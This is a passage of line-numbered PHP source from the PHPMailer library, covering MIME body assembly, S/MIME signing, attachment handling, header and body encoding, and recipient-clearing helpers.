3331 $body .= $this->encodeString($this->Body, $bodyEncoding);
3332 $body .= $this->LE . $this->LE;
3333 $body .= $this->attachAll('inline', $this->boundary[1]);
3334 break;
3335 case 'attach':
3336 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
3337 $body .= $this->encodeString($this->Body, $bodyEncoding);
3338 $body .= $this->LE . $this->LE;
3339 $body .= $this->attachAll('attachment', $this->boundary[1]);
3340 break;
3341 case 'inline_attach':
3342 $body .= $this->textLine('--' . $this->boundary[1]);
3343 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3344 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3345 $body .= $this->LE;
3346 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
3347 $body .= $this->encodeString($this->Body, $bodyEncoding);
3348 $body .= $this->LE . $this->LE;
3349 $body .= $this->attachAll('inline', $this->boundary[2]);
3350 $body .= $this->LE;
3351 $body .= $this->attachAll('attachment', $this->boundary[1]);
3352 break;
3353 case 'alt':
3354 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3355 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3356 $body .= $this->LE . $this->LE;
3357 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
3358 $body .= $this->encodeString($this->Body, $bodyEncoding);
3359 $body .= $this->LE . $this->LE;
3360 if (!empty($this->Ical)) {
3361 $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
3362 $body .= $this->encodeString($this->Ical, $this->Encoding);
3363 $body .= $this->LE . $this->LE;
3364 }
3365 $body .= $this->endBoundary($this->boundary[1]);
3366 break;
3367 case 'alt_inline':
3368 $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3369 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3370 $body .= $this->LE . $this->LE;
3371 $body .= $this->textLine('--' . $this->boundary[1]);
3372 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3373 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3374 $body .= $this->LE;
3375 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
3376 $body .= $this->encodeString($this->Body, $bodyEncoding);
3377 $body .= $this->LE . $this->LE;
3378 $body .= $this->attachAll('inline', $this->boundary[2]);
3379 $body .= $this->LE;
3380 $body .= $this->endBoundary($this->boundary[1]);
3381 break;
3382 case 'alt_attach':
3383 $body .= $this->textLine('--' . $this->boundary[1]);
3384 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
3385 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3386 $body .= $this->LE;
3387 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3388 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3389 $body .= $this->LE . $this->LE;
3390 $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
3391 $body .= $this->encodeString($this->Body, $bodyEncoding);
3392 $body .= $this->LE . $this->LE;
3393 $body .= $this->endBoundary($this->boundary[2]);
3394 $body .= $this->LE;
3395 $body .= $this->attachAll('attachment', $this->boundary[1]);
3396 break;
3397 case 'alt_inline_attach':
3398 $body .= $this->textLine('--' . $this->boundary[1]);
3399 $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
3400 $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
3401 $body .= $this->LE;
3402 $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
3403 $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
3404 $body .= $this->LE . $this->LE;
3405 $body .= $this->textLine('--' . $this->boundary[2]);
3406 $body .= $this->headerLine('Content-Type', 'multipart/related;');
3407 $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
3408 $body .= $this->LE;
3409 $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
3410 $body .= $this->encodeString($this->Body, $bodyEncoding);
3411 $body .= $this->LE . $this->LE;
3412 $body .= $this->attachAll('inline', $this->boundary[3]);
3413 $body .= $this->LE;
3414 $body .= $this->endBoundary($this->boundary[2]);
3415 $body .= $this->LE;
3416 $body .= $this->attachAll('attachment', $this->boundary[1]);
3417 break;
3418 default:
3419 // catch case 'plain' and case ''
3420 $body .= $this->encodeString($this->Body, $bodyEncoding);
3421 break;
3422 }
3423
3424 if ($this->isError()) {
3425 $body = '';
3426 } elseif ($this->sign_key_file) {
3427 try {
3428 if (!defined('PKCS7_TEXT')) {
3429 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');
3430 }
3431 // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
3432 $file = tempnam(sys_get_temp_dir(), 'mail');
3433 if (false === file_put_contents($file, $body)) {
3434 throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
3435 }
3436 $signed = tempnam(sys_get_temp_dir(), 'signed');
3437 if (@openssl_pkcs7_sign(
3438 $file,
3439 $signed,
3440 'file://' . realpath($this->sign_cert_file),
3441 array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
3442 null
3443 )
3444 ) {
3445 @unlink($file);
3446 $body = file_get_contents($signed);
3447 @unlink($signed);
3448 } else {
3449 @unlink($file);
3450 @unlink($signed);
3451 throw new phpmailerException($this->lang('signing') . openssl_error_string());
3452 }
3453 } catch (phpmailerException $exc) {
3454 $body = '';
3455 if ($this->exceptions) {
3456 throw $exc;
3457 }
3458 }
3459 }
3460 return $body;
3461 }
3462
3463 /**
3464 * Return the start of a message boundary.
3465 * @access protected
3466 * @param string $boundary
3467 * @param string $charSet
3468 * @param string $contentType
3469 * @param string $encoding
3470 * @return string
3471 */
3472 protected function getBoundary($boundary, $charSet, $contentType, $encoding)
3473 {
3474 $result = '';
3475 if ($charSet == '') {
3476 $charSet = $this->CharSet;
3477 }
3478 if ($contentType == '') {
3479 $contentType = $this->ContentType;
3480 }
3481 if ($encoding == '') {
3482 $encoding = $this->Encoding;
3483 }
3484 $result .= $this->textLine('--' . $boundary);
3485 $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
3486 $result .= $this->LE;
3487 // RFC1341 part 5 says 7bit is assumed if not specified
3488 if ($encoding != '7bit') {
3489 $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
3490 }
3491 $result .= $this->LE;
3492
3493 return $result;
3494 }
3495
3496 /**
3497 * Return the end of a message boundary.
3498 * @access protected
3499 * @param string $boundary
3500 * @return string
3501 */
3502 protected function endBoundary($boundary)
3503 {
3504 return $this->LE . '--' . $boundary . '--' . $this->LE;
3505 }
3506
3507 /**
3508 * Set the message type.
3509 * PHPMailer only supports some preset message types,
3510 * not arbitrary MIME structures.
3511 * @access protected
3512 * @return void
3513 */
3514 protected function setMessageType()
3515 {
3516 $type = array();
3517 if ($this->alternativeExists()) {
3518 $type[] = 'alt';
3519 }
3520 if ($this->inlineImageExists()) {
3521 $type[] = 'inline';
3522 }
3523 if ($this->attachmentExists()) {
3524 $type[] = 'attach';
3525 }
3526 $this->message_type = implode('_', $type);
3527 if ($this->message_type == '') {
3528 $this->message_type = 'plain';
3529 }
3530 }
3531
3532 /**
3533 * Format a header line.
3534 * @access public
3535 * @param string $name
3536 * @param string $value
3537 * @return string
3538 */
3539 public function headerLine($name, $value)
3540 {
3541 return $name . ': ' . $value . $this->LE;
3542 }
3543
3544 /**
3545 * Return a formatted mail line.
3546 * @access public
3547 * @param string $value
3548 * @return string
3549 */
3550 public function textLine($value)
3551 {
3552 return $value . $this->LE;
3553 }
3554
3555 /**
3556 * Add an attachment from a path on the filesystem.
3557 * Returns false if the file could not be found or read.
3558 * @param string $path Path to the attachment.
3559 * @param string $name Overrides the attachment name.
3560 * @param string $encoding File encoding (see $Encoding).
3561 * @param string $type File extension (MIME) type.
3562 * @param string $disposition Disposition to use
3563 * @throws phpmailerException
3564 * @return boolean
3565 */
3566 public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
3567 {
3568 try {
3569 if (!@is_file($path)) {
3570 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
3571 }
3572
3573 // If a MIME type is not specified, try to work it out from the file name
3574 if ($type == '') {
3575 $type = self::filenameToType($path);
3576 }
3577
3578 $filename = basename($path);
3579 if ($name == '') {
3580 $name = $filename;
3581 }
3582
3583 $this->attachment[] = array(
3584 0 => $path,
3585 1 => $filename,
3586 2 => $name,
3587 3 => $encoding,
3588 4 => $type,
3589 5 => false, // isStringAttachment
3590 6 => $disposition,
3591 7 => 0
3592 );
3593
3594 } catch (phpmailerException $exc) {
3595 $this->setError($exc->getMessage());
3596 $this->edebug($exc->getMessage());
3597 if ($this->exceptions) {
3598 throw $exc;
3599 }
3600 return false;
3601 }
3602 return true;
3603 }
3604
3605 /**
3606 * Return the array of attachments.
3607 * @return array
3608 */
3609 public function getAttachments()
3610 {
3611 return $this->attachment;
3612 }
3613
3614 /**
3615 * Attach all file, string, and binary attachments to the message.
3616 * Returns an empty string on failure.
3617 * @access protected
3618 * @param string $disposition_type
3619 * @param string $boundary
3620 * @return string
3621 */
3622 protected function attachAll($disposition_type, $boundary)
3623 {
3624 // Return text of body
3625 $mime = array();
3626 $cidUniq = array();
3627 $incl = array();
3628
3629 // Add all attachments
3630 foreach ($this->attachment as $attachment) {
3631 // Check if it is a valid disposition_filter
3632 if ($attachment[6] == $disposition_type) {
3633 // Check for string attachment
3634 $string = '';
3635 $path = '';
3636 $bString = $attachment[5];
3637 if ($bString) {
3638 $string = $attachment[0];
3639 } else {
3640 $path = $attachment[0];
3641 }
3642
3643 $inclhash = md5(serialize($attachment));
3644 if (in_array($inclhash, $incl)) {
3645 continue;
3646 }
3647 $incl[] = $inclhash;
3648 $name = $attachment[2];
3649 $encoding = $attachment[3];
3650 $type = $attachment[4];
3651 $disposition = $attachment[6];
3652 $cid = $attachment[7];
3653 if ($disposition == 'inline' && isset($cidUniq[$cid])) {
3654 continue;
3655 }
3656 $cidUniq[$cid] = true;
3657
3658 $mime[] = sprintf('--%s%s', $boundary, $this->LE);
3659 $mime[] = sprintf(
3660 'Content-Type: %s; name="%s"%s',
3661 $type,
3662 $this->encodeHeader($this->secureHeader($name)),
3663 $this->LE
3664 );
3665 // RFC1341 part 5 says 7bit is assumed if not specified
3666 if ($encoding != '7bit') {
3667 $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
3668 }
3669
3670 if ($disposition == 'inline') {
3671 $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
3672 }
3673
3674 // If a filename contains any of these chars, it should be quoted,
3675 // but not otherwise: RFC2183 & RFC2045 5.1
3676 // Fixes a warning in IETF's msglint MIME checker
3677 // Allow for bypassing the Content-Disposition header totally
3678 if (!(empty($disposition))) {
3679 $encoded_name = $this->encodeHeader($this->secureHeader($name));
3680 if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
3681 $mime[] = sprintf(
3682 'Content-Disposition: %s; filename="%s"%s',
3683 $disposition,
3684 $encoded_name,
3685 $this->LE . $this->LE
3686 );
3687 } else {
3688 $mime[] = sprintf(
3689 'Content-Disposition: %s; filename=%s%s',
3690 $disposition,
3691 $encoded_name,
3692 $this->LE . $this->LE
3693 );
3694 }
3695 } else {
3696 $mime[] = $this->LE;
3697 }
3698
3699 // Encode as string attachment
3700 if ($bString) {
3701 $mime[] = $this->encodeString($string, $encoding);
3702 if ($this->isError()) {
3703 return '';
3704 }
3705 $mime[] = $this->LE . $this->LE;
3706 } else {
3707 $mime[] = $this->encodeFile($path, $encoding);
3708 if ($this->isError()) {
3709 return '';
3710 }
3711 $mime[] = $this->LE . $this->LE;
3712 }
3713 }
3714 }
3715
3716 $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
3717
3718 return implode('', $mime);
3719 }
3720
3721 /**
3722 * Encode a file attachment in requested format.
3723 * Returns an empty string on failure.
3724 * @param string $path The full path to the file
3725 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3726 * @throws phpmailerException
3727 * @see EncodeFile(encodeFile
3728 * @access protected
3729 * @return string
3730 */
3731 protected function encodeFile($path, $encoding = 'base64')
3732 {
3733 try {
3734 if (!is_readable($path)) {
3735 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
3736 }
3737 $magic_quotes = get_magic_quotes_runtime();
3738 if ($magic_quotes) {
3739 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3740 set_magic_quotes_runtime(false);
3741 } else {
3742 //Doesn't exist in PHP 5.4, but we don't need to check because
3743 //get_magic_quotes_runtime always returns false in 5.4+
3744 //so it will never get here
3745 ini_set('magic_quotes_runtime', 0);
3746 }
3747 }
3748 $file_buffer = file_get_contents($path);
3749 $file_buffer = $this->encodeString($file_buffer, $encoding);
3750 if ($magic_quotes) {
3751 if (version_compare(PHP_VERSION, '5.3.0', '<')) {
3752 set_magic_quotes_runtime($magic_quotes);
3753 } else {
3754 ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));
3755 }
3756 }
3757 return $file_buffer;
3758 } catch (Exception $exc) {
3759 $this->setError($exc->getMessage());
3760 return '';
3761 }
3762 }
3763
3764 /**
3765 * Encode a string in requested format.
3766 * Returns an empty string on failure.
3767 * @param string $str The text to encode
3768 * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
3769 * @access public
3770 * @return string
3771 */
3772 public function encodeString($str, $encoding = 'base64')
3773 {
3774 $encoded = '';
3775 switch (strtolower($encoding)) {
3776 case 'base64':
3777 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
3778 break;
3779 case '7bit':
3780 case '8bit':
3781 $encoded = $this->fixEOL($str);
3782 // Make sure it ends with a line break
3783 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
3784 $encoded .= $this->LE;
3785 }
3786 break;
3787 case 'binary':
3788 $encoded = $str;
3789 break;
3790 case 'quoted-printable':
3791 $encoded = $this->encodeQP($str);
3792 break;
3793 default:
3794 $this->setError($this->lang('encoding') . $encoding);
3795 break;
3796 }
3797 return $encoded;
3798 }
3799
3800 /**
3801 * Encode a header string optimally.
3802 * Picks shortest of Q, B, quoted-printable or none.
3803 * @access public
3804 * @param string $str
3805 * @param string $position
3806 * @return string
3807 */
3808 public function encodeHeader($str, $position = 'text')
3809 {
3810 $matchcount = 0;
3811 switch (strtolower($position)) {
3812 case 'phrase':
3813 if (!preg_match('/[\200-\377]/', $str)) {
3814 // Can't use addslashes as we don't know the value of magic_quotes_sybase
3815 $encoded = addcslashes($str, "\0..\37\177\\\"");
3816 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
3817 return ($encoded);
3818 } else {
3819 return ("\"$encoded\"");
3820 }
3821 }
3822 $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
3823 break;
3824 /** @noinspection PhpMissingBreakStatementInspection */
3825 case 'comment':
3826 $matchcount = preg_match_all('/[()"]/', $str, $matches);
3827 // Intentional fall-through
3828 case 'text':
3829 default:
3830 $matchcount += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
3831 break;
3832 }
3833
3834 if ($matchcount == 0) { // There are no chars that need encoding
3835 return ($str);
3836 }
3837
3838 $maxlen = 75 - 7 - strlen($this->CharSet);
3839 // Try to select the encoding which should produce the shortest output
3840 if ($matchcount > strlen($str) / 3) {
3841 // More than a third of the content will need encoding, so B encoding will be most efficient
3842 $encoding = 'B';
3843 if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {
3844 // Use a custom function which correctly encodes and wraps long
3845 // multibyte strings without breaking lines within a character
3846 $encoded = $this->base64EncodeWrapMB($str, "\n");
3847 } else {
3848 $encoded = base64_encode($str);
3849 $maxlen -= $maxlen % 4;
3850 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
3851 }
3852 } else {
3853 $encoding = 'Q';
3854 $encoded = $this->encodeQ($str, $position);
3855 $encoded = $this->wrapText($encoded, $maxlen, true);
3856 $encoded = str_replace('=' . self::CRLF, "\n", trim($encoded));
3857 }
3858
3859 $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?\\1?=", $encoded);
3860 $encoded = trim(str_replace("\n", $this->LE, $encoded));
3861
3862 return $encoded;
3863 }
3864
3865 /**
3866 * Check if a string contains multi-byte characters.
3867 * @access public
3868 * @param string $str multi-byte text to wrap encode
3869 * @return boolean
3870 */
3871 public function hasMultiBytes($str)
3872 {
3873 if (function_exists('mb_strlen')) {
3874 return (strlen($str) > mb_strlen($str, $this->CharSet));
3875 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
3876 return false;
3877 }
3878 }
3879
3880 /**
3881 * Does a string contain any 8-bit chars (in any charset)?
3882 * @param string $text
3883 * @return boolean
3884 */
3885 public function has8bitChars($text)
3886 {
3887 return (boolean)preg_match('/[\x80-\xFF]/', $text);
3888 }
3889
3890 /**
3891 * Encode and wrap long multibyte strings for mail headers
3892 * without breaking lines within a character.
3893 * Adapted from a function by paravoid
3894 * @link http://www.php.net/manual/en/function.mb-encode-mimeheader.php#60283
3895 * @access public
3896 * @param string $str multi-byte text to wrap encode
3897 * @param string $linebreak string to use as linefeed/end-of-line
3898 * @return string
3899 */
3900 public function base64EncodeWrapMB($str, $linebreak = null)
3901 {
3902 $start = '=?' . $this->CharSet . '?B?';
3903 $end = '?=';
3904 $encoded = '';
3905 if ($linebreak === null) {
3906 $linebreak = $this->LE;
3907 }
3908
3909 $mb_length = mb_strlen($str, $this->CharSet);
3910 // Each line must have length <= 75, including $start and $end
3911 $length = 75 - strlen($start) - strlen($end);
3912 // Average multi-byte ratio
3913 $ratio = $mb_length / strlen($str);
3914 // Base64 has a 4:3 ratio
3915 $avgLength = floor($length * $ratio * .75);
3916
3917 for ($i = 0; $i < $mb_length; $i += $offset) {
3918 $lookBack = 0;
3919 do {
3920 $offset = $avgLength - $lookBack;
3921 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
3922 $chunk = base64_encode($chunk);
3923 $lookBack++;
3924 } while (strlen($chunk) > $length);
3925 $encoded .= $chunk . $linebreak;
3926 }
3927
3928 // Chomp the last linefeed
3929 $encoded = substr($encoded, 0, -strlen($linebreak));
3930 return $encoded;
3931 }
3932
3933 /**
3934 * Encode a string in quoted-printable format.
3935 * According to RFC2045 section 6.7.
3936 * @access public
3937 * @param string $string The text to encode
3938 * @param integer $line_max Number of chars allowed on a line before wrapping
3939 * @return string
3940 * @link http://www.php.net/manual/en/function.quoted-printable-decode.php#89417 Adapted from this comment
3941 */
3942 public function encodeQP($string, $line_max = 76)
3943 {
3944 if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)
3945 return $this->fixEOL(quoted_printable_encode($string));
3946 }
3947 // Fall back to a pure PHP implementation
3948 $string = str_replace(
3949 array('%20', '%0D%0A.', '%0D%0A', '%'),
3950 array(' ', "\r\n=2E", "\r\n", '='),
3951 rawurlencode($string)
3952 );
3953 $string = preg_replace('/[^\r\n]{' . ($line_max - 3) . '}[^=\r\n]{2}/', "$0=\r\n", $string);
3954 return $this->fixEOL($string);
3955 }
3956
3957 /**
3958 * Backward compatibility wrapper for an old QP encoding function that was removed.
3959 * @see PHPMailer::encodeQP()
3960 * @access public
3961 * @param string $string
3962 * @param integer $line_max
3963 * @param boolean $space_conv
3964 * @return string
3965 * @deprecated Use encodeQP instead.
3966 */
3967 public function encodeQPphp(
3968 $string,
3969 $line_max = 76,
3970 /** @noinspection PhpUnusedParameterInspection */ $space_conv = false
3971 ) {
3972 return $this->encodeQP($string, $line_max);
3973 }
3974
3975 /**
3976 * Encode a string using Q encoding.
3977 * @link http://tools.ietf.org/html/rfc2047
3978 * @param string $str the text to encode
3979 * @param string $position Where the text is going to be used, see the RFC for what that means
3980 * @access public
3981 * @return string
3982 */
3983 public function encodeQ($str, $position = 'text')
3984 {
3985 // There should not be any EOL in the string
3986 $pattern = '';
3987 $encoded = str_replace(array("\r", "\n"), '', $str);
3988 switch (strtolower($position)) {
3989 case 'phrase':
3990 // RFC 2047 section 5.3
3991 $pattern = '^A-Za-z0-9!*+\/ -';
3992 break;
3993 /** @noinspection PhpMissingBreakStatementInspection */
3994 case 'comment':
3995 // RFC 2047 section 5.2
3996 $pattern = '\(\)"';
3997 // intentional fall-through
3998 // for this reason we build the $pattern without including delimiters and []
3999 case 'text':
4000 default:
4001 // RFC 2047 section 5.1
4002 // Replace every high ascii, control, =, ? and _ characters
4003 $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
4004 break;
4005 }
4006 $matches = array();
4007 if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
4008 // If the string contains an '=', make sure it's the first thing we replace
4009 // so as to avoid double-encoding
4010 $eqkey = array_search('=', $matches[0]);
4011 if (false !== $eqkey) {
4012 unset($matches[0][$eqkey]);
4013 array_unshift($matches[0], '=');
4014 }
4015 foreach (array_unique($matches[0]) as $char) {
4016 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
4017 }
4018 }
4019 // Replace every spaces to _ (more readable than =20)
4020 return str_replace(' ', '_', $encoded);
4021 }
4022
4023
4024 /**
4025 * Add a string or binary attachment (non-filesystem).
4026 * This method can be used to attach ascii or binary data,
4027 * such as a BLOB record from a database.
4028 * @param string $string String attachment data.
4029 * @param string $filename Name of the attachment.
4030 * @param string $encoding File encoding (see $Encoding).
4031 * @param string $type File extension (MIME) type.
4032 * @param string $disposition Disposition to use
4033 * @return void
4034 */
4035 public function addStringAttachment(
4036 $string,
4037 $filename,
4038 $encoding = 'base64',
4039 $type = '',
4040 $disposition = 'attachment'
4041 ) {
4042 // If a MIME type is not specified, try to work it out from the file name
4043 if ($type == '') {
4044 $type = self::filenameToType($filename);
4045 }
4046 // Append to $attachment array
4047 $this->attachment[] = array(
4048 0 => $string,
4049 1 => $filename,
4050 2 => basename($filename),
4051 3 => $encoding,
4052 4 => $type,
4053 5 => true, // isStringAttachment
4054 6 => $disposition,
4055 7 => 0
4056 );
4057 }
4058
4059 /**
4060 * Add an embedded (inline) attachment from a file.
4061 * This can include images, sounds, and just about any other document type.
4062 * These differ from 'regular' attachments in that they are intended to be
4063 * displayed inline with the message, not just attached for download.
4064 * This is used in HTML messages that embed the images
4065 * the HTML refers to using the $cid value.
4066 * @param string $path Path to the attachment.
4067 * @param string $cid Content ID of the attachment; Use this to reference
4068 * the content when using an embedded image in HTML.
4069 * @param string $name Overrides the attachment name.
4070 * @param string $encoding File encoding (see $Encoding).
4071 * @param string $type File MIME type.
4072 * @param string $disposition Disposition to use
4073 * @return boolean True on successfully adding an attachment
4074 */
4075 public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
4076 {
4077 if (!@is_file($path)) {
4078 $this->setError($this->lang('file_access') . $path);
4079 return false;
4080 }
4081
4082 // If a MIME type is not specified, try to work it out from the file name
4083 if ($type == '') {
4084 $type = self::filenameToType($path);
4085 }
4086
4087 $filename = basename($path);
4088 if ($name == '') {
4089 $name = $filename;
4090 }
4091
4092 // Append to $attachment array
4093 $this->attachment[] = array(
4094 0 => $path,
4095 1 => $filename,
4096 2 => $name,
4097 3 => $encoding,
4098 4 => $type,
4099 5 => false, // isStringAttachment
4100 6 => $disposition,
4101 7 => $cid
4102 );
4103 return true;
4104 }
4105
4106 /**
4107 * Add an embedded stringified attachment.
4108 * This can include images, sounds, and just about any other document type.
4109 * Be sure to set the $type to an image type for images:
4110 * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
4111 * @param string $string The attachment binary data.
4112 * @param string $cid Content ID of the attachment; Use this to reference
4113 * the content when using an embedded image in HTML.
4114 * @param string $name
4115 * @param string $encoding File encoding (see $Encoding).
4116 * @param string $type MIME type.
4117 * @param string $disposition Disposition to use
4118 * @return boolean True on successfully adding an attachment
4119 */
4120 public function addStringEmbeddedImage(
4121 $string,
4122 $cid,
4123 $name = '',
4124 $encoding = 'base64',
4125 $type = '',
4126 $disposition = 'inline'
4127 ) {
4128 // If a MIME type is not specified, try to work it out from the name
4129 if ($type == '') {
4130 $type = self::filenameToType($name);
4131 }
4132
4133 // Append to $attachment array
4134 $this->attachment[] = array(
4135 0 => $string,
4136 1 => $name,
4137 2 => $name,
4138 3 => $encoding,
4139 4 => $type,
4140 5 => true, // isStringAttachment
4141 6 => $disposition,
4142 7 => $cid
4143 );
4144 return true;
4145 }
4146
4147 /**
4148 * Check if an inline attachment is present.
4149 * @access public
4150 * @return boolean
4151 */
4152 public function inlineImageExists()
4153 {
4154 foreach ($this->attachment as $attachment) {
4155 if ($attachment[6] == 'inline') {
4156 return true;
4157 }
4158 }
4159 return false;
4160 }
4161
4162 /**
4163 * Check if an attachment (non-inline) is present.
4164 * @return boolean
4165 */
4166 public function attachmentExists()
4167 {
4168 foreach ($this->attachment as $attachment) {
4169 if ($attachment[6] == 'attachment') {
4170 return true;
4171 }
4172 }
4173 return false;
4174 }
4175
4176 /**
4177 * Check if this message has an alternative body set.
4178 * @return boolean
4179 */
4180 public function alternativeExists()
4181 {
4182 return !empty($this->AltBody);
4183 }
4184
4185 /**
4186 * Clear all To recipients.
4187 * @return void
4188 */
4189 public function clearAddresses()
4190 {
4191 foreach ($this->to as $to) {
4192 unset($this->all_recipients[strtolower($to[0])]);
4193 }
4194 $this->to = array();
4195 }
4196
4197 /**
4198 * Clear all CC recipients.
4199 * @return void
4200 */
4201 public function clearCCs()
4202 {
4203 foreach ($this->cc as $cc) {
4204 unset($this->all_recipients[strtolower($cc[0])]);
4205 }
4206 $this->cc = array();
4207 }
4208
4209 /**
4210 * Clear all BCC recipients.
4211 * @return void
4212 */
4213 public function clearBCCs()
4214 {
4215 foreach ($this->bcc as $bcc) {
4216 unset($this->all_recipients[strtolower($bcc[0])]);
4217 }
4218 $this->bcc = array();
4219 }
4220
4221 /**
4222 * Clear all ReplyTo recipients.
4223 * @return void
4224 */
4225 public function clearReplyTos()
4226 {
4227 $this->ReplyTo = array();
4228 }
4229
4230 /**
4231 * Clear all recipient types.
4232 * @return void
4233 */
4234 public function clearAllRecipients()
4235 {
4236 $this->to = array();
4237 $this->cc = array();
4238 $this->bcc = array();
4239 $this->all_recipients = array();
4240 }
4241
4242 /**
4243 * Clear all filesystem, string, and binary attachments.
4244 * @return void
4245 */
4246 public function clearAttachments()
4247 {
4248 $this->attachment = array();
4249 }
4250
4251 /**
4252 * Clear all custom headers.
4253 * @return void
4254 */
4255 public function clearCustomHeaders()
4256 {
4257 $this->CustomHeader = array();
4258 }
4259
4260 /**
4261 * Add an error message to the error container.
4262 * @access protected
4263 * @param string $msg
4264 * @return void
4265 */
4266 protected function setError($msg)
4267 {
4268 $this->error_count++;
4269 if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
4270 $lasterror = $this->smtp->getError();
4271 if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {
4272 $msg .= '<p>' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . "</p>\n";
4273 }
4274 }
4275 $this->ErrorInfo = $msg;
4276 }
4277
4278 /**
4279 * Return an RFC 822 formatted date.
4280 * @access public
4281 * @return string
4282 * @static
4283 */
4284 public static function rfcDate()
4285 {
4286 // Set the time zone to whatever the default is to avoid 500 errors
4287 // Will default to UTC if it's not set properly in php.ini
4288 date_default_timezone_set(@date_default_timezone_get());
4289 return date('D, j M Y H:i:s O');
4290 }
4291
4292 /**
4293 * Get the server hostname.
4294 * Returns 'localhost.localdomain' if unknown.
4295 * @access protected
4296 * @return string
4297 */
4298 protected function serverHostname()
4299 {
4300 $result = 'localhost.localdomain';
4301 if (!empty($this->Hostname)) {
4302 $result = $this->Hostname;
4303 } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
4304 $result = $_SERVER['SERVER_NAME'];
4305 } elseif (function_exists('gethostname') && gethostname() !== false) {
4306 $result = gethostname();
4307 } elseif (php_uname('n') !== false) {
4308 $result = php_uname('n');
4309 }
4310 return $result;
4311 }
4312
4313 /**
4314 * Get an error message in the current language.
4315 * @access protected
4316 * @param string $key
4317 * @return string
4318 */
4319 protected function lang($key)
4320 {
4321 if (count($this->language) < 1) {
4322 $this->setLanguage('en'); // set the default language
4323 }
4324
4325 if (isset($this->language[$key])) {
4326 return $this->language[$key];
4327 } else {
4328 return 'Language string failed to load: ' . $key;
4329 }
4330 }
4331
4332 /**
4333 * Check if an error occurred.
4334 * @access public
4335 * @return boolean True if an error did occur.
4336 */
4337 public function isError()
4338 {
4339 return ($this->error_count > 0);
4340 }
4341
4342 /**
4343 * Ensure consistent line endings in a string.
4344 * Changes every end of line from CRLF, CR or LF to $this->LE.
4345 * @access public
4346 * @param string $str String to fixEOL
4347 * @return string
4348 */
4349 public function fixEOL($str)
4350 {
4351 // Normalise to \n
4352 $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
4353 // Now convert LE as needed
4354 if ($this->LE !== "\n") {
4355 $nstr = str_replace("\n", $this->LE, $nstr);
4356 }
4357 return $nstr;
4358 }
4359
4360 /**
4361 * Add a custom header.
4362 * $name value can be overloaded to contain
4363 * both header name and value (name:value)
4364 * @access public
4365 * @param string $name Custom header name
4366 * @param string $value Header value
4367 * @return void
4368 */
4369 public function addCustomHeader($name, $value = null)
